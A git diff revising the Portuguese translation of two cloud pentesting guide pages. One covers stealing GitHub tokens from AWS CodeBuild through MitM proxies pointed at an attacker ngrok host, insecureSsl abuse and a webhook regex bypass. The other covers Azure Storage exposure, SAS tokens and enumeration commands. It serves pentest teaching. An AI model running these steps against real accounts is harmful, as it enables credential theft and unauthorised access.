diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index da22bd099..2e24578a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -4,26 +4,26 @@ ## Recuperar tokens configurados do Github/Bitbucket -Primeiro, verifique se existem credenciais de origem configuradas que você poderia leak: +Primeiro, verifique se há credenciais de origem configuradas que você poderia leak: ```bash aws codebuild list-source-credentials ``` -### Via imagem Docker +### Via Docker Image -Se você descobrir que a autenticação para, por exemplo, Github está configurada na conta, você pode exfiltrar esse acesso (GH token ou OAuth token) fazendo o Codebuild usar uma imagem Docker específica para executar o build do projeto. +Se você descobrir que a autenticação, por exemplo para o Github, está configurada na conta, você pode **exfiltrate** esse **access** (**GH token or OAuth token**) fazendo o Codebuild **use an specific docker image** para executar o build do projeto. -Para isso você pode criar um novo Codebuild project ou alterar o environment de um existente para definir a Docker image. +Para isso você pode **create a new Codebuild project** ou alterar o **environment** de um já existente para definir a **Docker image**. -A Docker image que você pode usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker bem básica que vai setar as env variables `https_proxy`, `http_proxy` e `SSL_CERT_FILE`. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em `https_proxy` e `http_proxy` e confie no certificado SSL indicado em `SSL_CERT_FILE`. +A Docker image que você pode usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma Docker image muito básica que irá setar as **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá interceptar a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confiar no SSL CERT indicado em **`SSL_CERT_FILE`**. 1. **Create & Upload your own Docker MitM image** -- Siga as instruções do repo para setar o proxy IP e o SSL cert e **build the docker image**. -- **DO NOT SET `http_proxy`** para não interceptar requests ao endpoint de metadata. +- Siga as instruções do repo para configurar o endereço IP do seu proxy, definir seu SSL cert e **build the docker image**. +- **DO NOT SET `http_proxy`** para não interceptar requisições ao metadata endpoint. - Você pode usar **`ngrok`** como `ngrok tcp 4444` para setar o proxy para o seu host -- Uma vez que a Docker image estiver construída, **upload it to a public repo** (Dockerhub, ECR...) +- Uma vez que a Docker image esteja construída, **upload it to a public repo** (Dockerhub, ECR...) 2. **Set the environment** -- Crie um **new Codebuild project** ou **modify** o environment de um existente. -- Configure o projeto para usar a **previously generated Docker image** +- Crie um **novo projeto Codebuild** ou modifique o **environment** de um existente. +- Configure o projeto para usar a **Docker image gerada anteriormente**
@@ -34,9 +34,9 @@ A Docker image que você pode usar é [https://github.com/carlospolop/docker-mit mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> A **mitmproxy version used was 9.0.1**, foi reportado que com a versão 10 isso pode não funcionar. +> A versão do **mitmproxy usada foi 9.0.1**, foi relatado que com a versão 10 isso pode não funcionar. -4. **Execute o build e capture as credenciais** +4. **Execute o build & capture as credenciais** - Você pode ver o token no cabeçalho **Authorization**: @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -**Codebuild** projetos têm uma configuração chamada **`insecureSsl`** que está oculta na interface web e só pode ser alterada pela API.\ -Habilitar isso permite que o Codebuild se conecte ao repositório **sem verificar o certificado** oferecido pela plataforma. +Os projetos do **Codebuild** têm uma configuração chamada **`insecureSsl`** que está oculta na interface web; você só pode alterá-la pela API.\ +Habilitar isso permite que o Codebuild conecte-se ao repositório **sem verificar o certificado** oferecido pela plataforma. -- Primeiro você precisa enumerar a configuração atual com algo como: +- Primeiro, você precisa enumerar a configuração atual com algo como: ```bash aws codebuild batch-get-projects --name ``` -- Em seguida, com as informações coletadas você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. A seguir está um exemplo de como atualizei um projeto; observe **`insecureSsl=True`** no final (esta é a única coisa que você precisa alterar na configuração coletada). -- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para seu ngrok tcp como: +- Então, com as informações coletadas você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. Abaixo está um exemplo de minha atualização de um projeto, repare no **`insecureSsl=True`** ao final (esta é a única coisa que você precisa alterar na configuração coletada). +- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para seu tcp ngrok assim: ```bash aws codebuild update-project --name \ --source '{ @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Finalmente, clique em **Build the project**, as **credentials** serão **enviadas em texto claro** (base64) para a porta mitm: +- Finalmente, clique em **Build the project**, as **credenciais** serão **enviadas em texto claro** (base64) para a porta do mitm:
### ~~Via protocolo HTTP~~ -> [!TIP] > **Essa vulnerabilidade foi corrigida pela AWS em algum momento na semana do dia 20 de fev de 2023 (acho que na sexta). Então um atacante não pode abusar mais dela :)** +> [!TIP] > **Esta vulnerabilidade foi corrigida pela AWS em algum momento na semana de 20 de fev de 2023 (acho que na sexta-feira). Portanto um atacante não pode mais abusar dela :)** -Um atacante com **permissões elevadas em um CodeBuild poderia leak o token do Github/Bitbucket** configurado ou, se as permissões foram configuradas via OAuth, o **token OAuth temporário usado para acessar o código**. +Um atacante com **permissões elevadas em um CodeBuild poderia leak o token do Github/Bitbucket configurado ou, se as permissões foram configuradas via OAuth, o **token OAuth temporário usado para acessar o código**. - Um atacante poderia adicionar as variáveis de ambiente **http_proxy** e **https_proxy** ao projeto CodeBuild apontando para sua máquina (por exemplo `http://5.tcp.eu.ngrok.io:14972`). @@ -144,8 +144,8 @@ Um atacante com **permissões elevadas em um CodeBuild poderia leak o token do G
-- Em seguida, altere a URL do github repo para usar HTTP em vez de HTTPS, por exemplo: `http://github.com/carlospolop-forks/TestActions` -- Depois, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta apontada pelas variáveis de proxy (http_proxy e https_proxy) +- Em seguida, altere a URL do repositório github para usar HTTP em vez de HTTPS, por exemplo: `http://github.com/carlospolop-forks/TestActions` +- Em seguida, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta indicada pelas variáveis de proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Em seguida, clique em **Construir o projeto** ou inicie a compilação a partir da linha de comando: +- Em seguida, clique em **Build the project** ou inicie o build a partir da linha de comando: ```sh aws codebuild start-build --project-name ``` @@ -167,23 +167,23 @@ aws codebuild start-build --project-name
> [!WARNING] -> Agora um atacante poderá usar o token a partir da sua máquina, listar todos os privilégios que ele tem e (ab)usar mais facilmente do que usando o serviço CodeBuild diretamente. +> Agora um atacante poderá usar o token a partir de sua máquina, listar todos os privilégios que ele possui e (ab)usar de forma mais fácil do que usar o serviço CodeBuild diretamente. -## Bypass da allowlist de regex ACTOR_ID no filtro de webhook (builds privilegiados acionados por PR) +## Filtro de webhook ACTOR_ID regex allowlist bypass (builds privilegiados acionados por PR) -Webhooks do CodeBuild para GitHub mal configurados que usam regexes `ACTOR_ID` sem âncoras permitem que PRs *não confiáveis* iniciem builds privilegiados. Se a allowlist for algo como `123456|7890123` sem `^`/`$`, qualquer ID contendo uma dessas substrings corresponde. Como os IDs de usuário do GitHub são sequenciais, um atacante pode competir para registrar um ID “eclipsing” (uma superstring de um ID confiável) e acionar o build. +Webhooks do CodeBuild no GitHub mal configurados que usam regexes `ACTOR_ID` não ancoradas permitem que PRs *não confiáveis* iniciem builds privilegiados. Se a allowlist for algo como `123456|7890123` sem `^`/`$`, qualquer ID que contenha uma dessas substrings corresponde. Como os IDs de usuário do GitHub são sequenciais, um atacante pode competir para registrar um ID “eclipsante” (uma superstring de um ID confiável) e acionar o build. -**Caminho de exploração** +**Caminho do exploit** -1. Encontre projetos CodeBuild públicos expondo filtros de webhook e extraia uma allowlist `ACTOR_ID` sem âncoras. -2. Obtenha um eclipsing GitHub ID: -- Amostre o contador global de IDs criando/deletando orgs do GitHub (org IDs compartilham o mesmo pool). -- Pré-prepare muitas criações de manifest de GitHub App e dispare as confirmation URLs quando o contador estiver dentro de ~100 IDs do alvo para registrar em rajada um bot ID contendo a substring confiável. -3. Abra um PR a partir da conta eclipsing; a regex corresponde à substring e o build privilegiado é executado. -4. Use RCE durante o build (por exemplo, hooks de instalação de dependências) para despejar a memória do processo que manipula a credencial do GitHub e recuperar o token PAT/OAuth. -5. Com o token com scope `repo`, convide sua conta como collaborator/admin e faça push/approve de commits maliciosos ou exfiltrate secrets. +1. Encontre projetos públicos do CodeBuild que exponham filtros de webhook e extraia uma allowlist `ACTOR_ID` não ancorada. +2. Obtenha um ID de GitHub eclipsante: +- Amasotre o contador global de IDs criando/excluindo orgs do GitHub (org IDs compartilham o pool). +- Pré-posicione muitas criações de manifest de GitHub App e dispare as URLs de confirmação quando o contador estiver dentro de ~100 IDs do alvo para registrar em massa um bot ID contendo a substring confiável. +3. Abra um PR a partir da conta eclipsante; a regex corresponde à substring e o build privilegiado é executado. +4. Use build RCE (por exemplo, hooks de instalação de dependências) para despejar a memória do processo que manipula a credencial do GitHub e recuperar o token PAT/OAuth. +5. Com o escopo `repo` do token, convide sua conta como colaborador/admin e faça push/approve de commits maliciosos ou exfiltre segredos. -## References +## Referências - [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 40e2e3040..f4fb067b2 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,27 +4,27 @@ ## Informações Básicas -Azure Storage Accounts são serviços fundamentais na Microsoft Azure que fornecem **armazenamento em nuvem escalável, seguro e altamente disponível para vários tipos de dados**, incluindo blobs (binary large objects), files, queues, and tables. Eles funcionam como contêineres que agrupam esses diferentes serviços de storage sob um único namespace para facilitar o gerenciamento. +Azure Storage Accounts são serviços fundamentais na Microsoft Azure que fornecem armazenamento em nuvem escalável, seguro e altamente disponível para vários tipos de dados, incluindo blobs (binary large objects), files, queues e tables. Eles funcionam como contêineres que agrupam esses diferentes serviços de storage sob um único namespace para facilitar a gestão. **Principais opções de configuração**: - Cada storage account deve ter um **nome único em todo o Azure**. -- Cada storage account é implantada em uma **região** ou em uma Azure extended zone -- É possível selecionar a versão **premium** da storage account para melhor desempenho -- É possível escolher entre **4 tipos de redundância para proteger** contra falhas de rack, drive e datacenter. +- Cada storage account é implantada em uma **região** ou em uma zona estendida do Azure. +- É possível selecionar a versão **premium** da storage account para melhor desempenho. +- É possível escolher entre **4 tipos de redundância para proteger** contra falhas em racks, discos e datacenters. **Opções de configuração de segurança**: -- **Require secure transfer for REST API operations**: Exigir TLS em qualquer comunicação com o storage -- **Allows enabling anonymous access on individual containers**: Se não estiver habilitado, não será possível ativar acesso anônimo no futuro -- **Enable storage account key access**: Se desabilitado, o acesso com Shared Keys será proibido +- **Require secure transfer for REST API operations**: Exige TLS em qualquer comunicação com o storage. +- **Allows enabling anonymous access on individual containers**: Se desativado, não será possível habilitar acesso anônimo no futuro. +- **Enable storage account key access**: Se desativado, o acesso com Shared Keys será proibido. - **Minimum TLS version** -- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network. +- **Permitted scope for copy operations**: Permitir de qualquer storage account, de qualquer storage account do mesmo Entra tenant ou de storage accounts com private endpoints na mesma virtual network. -**Opções do Blob Storage**: +**Opções de Blob Storage**: - **Allow cross-tenant replication** -- **Access tier**: Hot (dados acessados frequentemente), Cool e Cold (dados raramente acessados) +- **Access tier**: Hot (dados acessados com frequência), Cool e Cold (dados raramente acessados) **Opções de rede**: @@ -36,40 +36,40 @@ Azure Storage Accounts são serviços fundamentais na Microsoft Azure que fornec **Opções de proteção de dados**: -- **Point-in-time restore for containers**: Permite restaurar containers para um estado anterior -- Requer que versioning, change feed, e blob soft delete estejam habilitados. -- **Enable soft delete for blobs**: Habilita um período de retenção em dias para blobs deletados (mesmo sobrescritos) -- **Enable soft delete for containers**: Habilita um período de retenção em dias para containers deletados -- **Enable soft delete for file shares**: Habilita um período de retenção em dias para file shares deletados -- **Enable versioning for blobs**: Mantém versões anteriores dos seus blobs -- **Enable blob change feed**: Mantém logs de criação, modificação e exclusão de blobs -- **Enable version-level immutability support**: Permite configurar uma política de retenção baseada em tempo no nível da conta que se aplicará a todas as versões de blob. +- **Point-in-time restore for containers**: Permite restaurar containers para um estado anterior. +- Requer que versioning, change feed e blob soft delete estejam ativados. +- **Enable soft delete for blobs**: Habilita um período de retenção (em dias) para blobs deletados (mesmo sobrescritos). +- **Enable soft delete for containers**: Habilita um período de retenção (em dias) para containers deletados. +- **Enable soft delete for file shares**: Habilita um período de retenção (em dias) para file shares deletados. +- **Enable versioning for blobs**: Mantém versões anteriores dos seus blobs. +- **Enable blob change feed**: Mantém logs de criação, modificação e deleção de blobs. +- **Enable version-level immutability support**: Permite definir uma política de retenção baseada em tempo no nível da conta que se aplicará a todas as versões de blob. - Version-level immutability support e point-in-time restore for containers não podem ser habilitados simultaneamente. **Opções de configuração de criptografia**: -- **Encryption type**: É possível usar Microsoft-managed keys (MMK) ou Customer-managed keys (CMK) -- **Enable infrastructure encryption**: Permite dupla criptografia dos dados "para mais segurança" +- **Encryption type**: É possível usar Microsoft-managed keys (MMK) ou Customer-managed keys (CMK). +- **Enable infrastructure encryption**: Permite uma dupla criptografia dos dados "para mais segurança". ### Storage endpoints -
Serviço de StorageEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
+
Storage ServiceEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
### Exposição Pública Se "Allow Blob public access" estiver **habilitado** (desabilitado por padrão), ao criar um container é possível: -- Dar **public access to read blobs** (você precisa saber o nome). -- **List container blobs** e **lê-los**. +- Conceder **acesso público para leitura de blobs** (é preciso conhecer o nome). +- **Listar blobs do container** e **lê-los**. - Torná-lo totalmente **privado**
### Static website (`$web`) exposure & leaked secrets -- **Static websites** são servidos a partir do contêiner especial `$web` através de um endpoint específico por região, como `https://.z13.web.core.windows.net/`. -- O contêiner `$web` pode reportar `publicAccess: null` via the blob API, mas arquivos ainda estão alcançáveis através do static site endpoint, então ao droppar config/IaC artifacts ali pode leak secrets. -- Workflow rápido de auditoria: +- **Static websites** são servidos a partir do contêiner especial `$web` através de um endpoint específico da região, por exemplo `https://.z13.web.core.windows.net/`. +- O contêiner `$web` pode reportar `publicAccess: null` via a blob API, mas os arquivos ainda são alcançáveis através do static site endpoint, então deixar artifacts de config/IaC lá pode leak secrets. +- Quick audit workflow: ```bash # Identify storage accounts with static website hosting enabled az storage blob service-properties show --account-name --auth-mode login @@ -80,20 +80,20 @@ az storage blob list --container-name '$web' --account-name --auth-mo # Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS) az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name --auth-mode login ``` -### Auditoria da exposição anônima de blobs +### Auditoria da exposição anônima de blob -- **Localizar storage accounts** que podem expor dados: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Se `allowBlobPublicAccess` for `false` você não pode tornar containers públicos. -- **Inspecionar contas arriscadas** para confirmar a flag e outras configurações fracas: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. -- **Enumerar exposição a nível de container** onde a flag está habilitada: +- **Locate storage accounts** que podem expor dados: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Se `allowBlobPublicAccess` for `false` você não pode tornar containers públicos. +- **Inspect risky accounts** para confirmar a flag e outras configurações fracas: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. +- **Enumerate container-level exposure** onde a flag está habilitada: ```bash az storage container list --account-name \ --query '[].{name:name, access:properties.publicAccess}' ``` -- `"Blob"`: leituras anônimas permitidas **somente quando o nome do blob é conhecido** (sem listagem). -- `"Container"`: **listagem + leitura** anônima de todos os blobs. +- `"Blob"`: leituras anônimas permitidas **apenas quando o nome do blob é conhecido** (sem listagem). +- `"Container"`: **listagem + leitura** anônimas de todos os blobs. - `null`: privado; autenticação necessária. -- **Provar acesso** sem credenciais: -- Se `publicAccess` é `Container`, a listagem anônima funciona: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. +- **Comprove acesso** sem credenciais: +- Se `publicAccess` estiver definido como `Container`, a listagem anônima funciona: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. - Para ambos `Blob` e `Container`, o download anônimo do blob funciona quando o nome é conhecido: ```bash az storage blob download -c -n --account-name --file /dev/stdout @@ -102,31 +102,31 @@ curl "https://.blob.core.windows.net//" ``` ### Conectar ao Storage -Se encontrar qualquer **storage** ao qual possa conectar, pode usar a ferramenta [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) para isso. +Se encontrar algum **storage** ao qual possa conectar, pode usar a ferramenta [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) para isso. ## Acesso ao Storage ### RBAC -É possível usar principals do Entra ID com **RBAC roles** para acessar as contas de storage; esta é a forma recomendada. +É possível usar principals do Entra ID com **RBAC roles** para aceder contas de armazenamento, e esta é a forma recomendada. -### Access Keys +### Chaves de Acesso -As contas de storage têm access keys que podem ser usadas para acessá-las. Isto fornece **acesso total à conta de storage.** +As contas de armazenamento têm chaves de acesso que podem ser usadas para aceder a elas. Isto fornece **acesso total à conta de armazenamento.**
### **Shared Keys & Lite Shared Keys** -É possível [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) assinadas com as access keys para autorizar o acesso a certos recursos através de uma URL assinada. +É possível [**gerar Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) assinadas com as chaves de acesso para autorizar o acesso a certos recursos através de um URL assinado. > [!NOTE] -> Note que a parte `CanonicalizedResource` representa o recurso do serviço de storage (URI). E se alguma parte da URL estiver codificada, também deve estar codificada dentro do `CanonicalizedResource`. +> Note que a parte `CanonicalizedResource` representa o recurso do serviço de armazenamento (URI). E se qualquer parte no URL estiver codificada, também deverá estar codificada dentro do `CanonicalizedResource`. > [!NOTE] -> Isto é **usado por padrão pelo `az` cli** para autenticar requisições. Para fazê-lo usar as credenciais do principal Entra ID, indique o parâmetro `--auth-mode login`. +> Isto é **usado por padrão pelo `az` cli** para autenticar solicitações. Para que utilize as credenciais do principal Entra ID indique o parâmetro `--auth-mode login`. -- É possível gerar uma **shared key for blob, queue and file services** assinando a seguinte informação: +- É possível gerar uma **shared key para os serviços blob, queue e file** assinando a seguinte informação: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -165,7 +165,7 @@ CanonicalizedResource; StringToSign = Date + "\n" CanonicalizedResource ``` -Então, para usar a chave, isso pode ser feito no header Authorization seguindo a sintaxe: +Então, para usar a key, ela pode ser colocada no Authorization header seguindo a sintaxe: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -177,78 +177,78 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08= Content-Length: 0 ``` -### **Assinatura de Acesso Compartilhada** (SAS) +### **Assinatura de Acesso Compartilhado** (SAS) -Shared Access Signatures (SAS) são URLs seguras e com tempo limitado que **concedem permissões específicas para acessar recursos** em uma conta Azure Storage sem expor as chaves de acesso da conta. Enquanto as chaves de acesso fornecem acesso administrativo completo a todos os recursos, o SAS permite controle granular ao especificar permissões (como leitura ou escrita) e definindo um tempo de expiração. +Shared Access Signatures (SAS) são URLs seguras e por tempo limitado que **concedem permissões específicas para acessar recursos** em uma conta do Azure Storage sem expor as chaves de acesso da conta. Enquanto as chaves de acesso fornecem acesso administrativo total a todos os recursos, o SAS permite controle granular especificando permissões (como read ou write) e definindo um tempo de expiração. #### SAS Types -- **User delegation SAS**: Isto é criado a partir de um **Entra ID principal** que assinará o SAS e delegará as permissões do usuário para o SAS. Só pode ser usado com **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). É possível **revogar** todos os SAS delegados de usuário gerados. -- Mesmo que seja possível gerar um delegation SAS com "mais" permissões do que as que o usuário possui. Porém, se o principal não tiver essas permissões, não funcionará (no privesc). -- **Service SAS**: É assinado usando uma das **access keys** da conta de armazenamento. Pode ser usado para conceder acesso a recursos específicos em um único serviço de armazenamento. Se a chave for renovada, o SAS deixará de funcionar. -- **Account SAS**: Também é assinado com uma das **access keys** da conta de armazenamento. Concede acesso a recursos através dos serviços de uma conta de armazenamento (Blob, Queue, Table, File) e pode incluir operações em nível de serviço. +- **User delegation SAS**: Isso é criado a partir de um **Entra ID principal** que vai assinar o SAS e delegar as permissões do usuário para o SAS. Só pode ser usado com **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). É possível **revogar** todos os SAS delegados de usuário gerados. +- Mesmo que seja possível gerar um delegation SAS com "mais" permissões do que as que o usuário possui. Contudo, se o principal não as tiver, não funcionará (no privesc). +- **Service SAS**: É assinado usando uma das **access keys** da storage account. Pode ser usado para conceder acesso a recursos específicos em um único serviço de storage. Se a key for renovada, o SAS deixará de funcionar. +- **Account SAS**: Também é assinado com uma das **access keys** da storage account. Concede acesso a recursos através dos serviços de uma storage account (Blob, Queue, Table, File) e pode incluir operações a nível de serviço. -A SAS URL assinada por uma **access key** parece com isto: +A SAS URL assinada por uma **access key** fica assim: - `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -Uma SAS URL assinada como **user delegation** parece com isto: +A SAS URL assinada como **user delegation** fica assim: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` -Observe alguns **parâmetros HTTP**: +Observe alguns **parâmetros http**: -- O parâmetro **`se`** indica a **data de expiração** do SAS -- O parâmetro **`sp`** indica as **permissões** do SAS +- O **`se`** indica a **data de expiração** do SAS +- O **`sp`** indica as **permissões** do SAS - O **`sig`** é a **assinatura** que valida o SAS #### SAS permissions -Ao gerar um SAS é necessário indicar as permissões que ele deve conceder. Dependendo do objeto sobre o qual o SAS está sendo gerado, permissões diferentes podem ser incluídas. Por exemplo: +Ao gerar um SAS é necessário indicar as permissões que ele deve conceder. Dependendo do objeto sobre o qual o SAS está sendo gerado, diferentes permissões podem ser incluídas. Por exemplo: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete ## SFTP Support for Azure Blob Storage -Azure Blob Storage agora suporta o SSH File Transfer Protocol (SFTP), permitindo transferência e gerenciamento de arquivos de forma segura diretamente no Blob Storage sem exigir soluções customizadas ou produtos de terceiros. +Azure Blob Storage agora suporta o SSH File Transfer Protocol (SFTP), permitindo transferência segura de arquivos e gerenciamento diretamente no Blob Storage sem exigir soluções customizadas ou produtos de terceiros. ### Key Features -- Protocol Support: SFTP funciona com contas Blob Storage configuradas com hierarchical namespace (HNS). Isso organiza blobs em diretórios e subdiretórios para facilitar a navegação. -- Security: SFTP usa identidades de usuário locais para autenticação e não se integra com RBAC ou ABAC. Cada usuário local pode autenticar-se via: - - Azure-generated passwords - - Public-private SSH key pairs +- Protocol Support: SFTP funciona com storage accounts configuradas com hierarchical namespace (HNS). Isso organiza blobs em diretórios e subdiretórios para facilitar a navegação. +- Security: SFTP usa identidades de usuários locais para autenticação e não se integra com RBAC ou ABAC. Cada usuário local pode autenticar via: +- Azure-generated passwords +- Public-private SSH key pairs - Granular Permissions: Permissões como Read, Write, Delete e List podem ser atribuídas a usuários locais para até 100 containers. -- Networking Considerations: Conexões SFTP são feitas pela porta 22. Azure suporta configurações de rede como firewalls, private endpoints ou virtual networks para proteger o tráfego SFTP. +- Networking Considerations: Conexões SFTP são feitas pela porta 22. A Azure suporta configurações de rede como firewalls, private endpoints ou virtual networks para proteger o tráfego SFTP. ### Setup Requirements -- Hierarchical Namespace: HNS deve estar habilitado ao criar a conta de armazenamento. -- Supported Encryption: Requer algoritmos criptográficos aprovados pelo Microsoft Security Development Lifecycle (SDL) (por exemplo, rsa-sha2-256, ecdsa-sha2-nistp256). +- Hierarchical Namespace: HNS deve estar habilitado ao criar a storage account. +- Supported Encryption: Requer algoritmos criptográficos aprovados pelo Microsoft Security Development Lifecycle (SDL) (ex.: rsa-sha2-256, ecdsa-sha2-nistp256). - SFTP Configuration: - - Enable SFTP on the storage account. - - Create local user identities with appropriate permissions. - - Configure home directories for users to define their starting location within the container. +- Habilitar SFTP na storage account. +- Criar identidades de usuários locais com permissões apropriadas. +- Configurar home directories para os usuários definirem sua localização inicial dentro do container. ### Permissions -| Permissão | Símbolo | Descrição | -| ---------------------- | ------- | ------------------------------------- | -| **Read** | `r` | Ler o conteúdo do arquivo. | -| **Write** | `w` | Enviar arquivos e criar diretórios. | -| **List** | `l` | Listar o conteúdo de diretórios. | -| **Delete** | `d` | Excluir arquivos ou diretórios. | -| **Create** | `c` | Criar arquivos ou diretórios. | -| **Modify Ownership** | `o` | Alterar o usuário ou grupo proprietário. | -| **Modify Permissions** | `p` | Alterar ACLs em arquivos ou diretórios. | +| Permission | Symbol | Description | +| ---------------------- | ------ | ------------------------------------ | +| **Read** | `r` | Ler o conteúdo do arquivo. | +| **Write** | `w` | Fazer upload de arquivos e criar diretórios. | +| **List** | `l` | Listar conteúdo de diretórios. | +| **Delete** | `d` | Excluir arquivos ou diretórios. | +| **Create** | `c` | Criar arquivos ou diretórios. | +| **Modify Ownership** | `o` | Alterar o usuário ou grupo proprietário. | +| **Modify Permissions** | `p` | Alterar ACLs em arquivos ou diretórios. | -## Enumeration +## Enumeração {{#tabs }} {{#tab name="az cli" }}
-az cli enumeration +az cli enumeração ```bash # Get storage accounts az storage account list #Get the account name from here @@ -372,7 +372,7 @@ az storage account local-user list \ {{#tab name="Az PowerShell" }}
-Az PowerShell enumeration +Az PowerShell enumeração ```powershell # Get storage accounts Get-AzStorageAccount | fl @@ -441,19 +441,19 @@ New-AzStorageBlobSASToken ` az-file-shares.md {{#endref}} -## Privilege Escalation +## Elevação de Privilégios {{#ref}} ../az-privilege-escalation/az-storage-privesc.md {{#endref}} -## Post Exploitation +## Pós-Exploração {{#ref}} ../az-post-exploitation/az-blob-storage-post-exploitation.md {{#endref}} -## Persistence +## Persistência {{#ref}} ../az-persistence/az-storage-persistence.md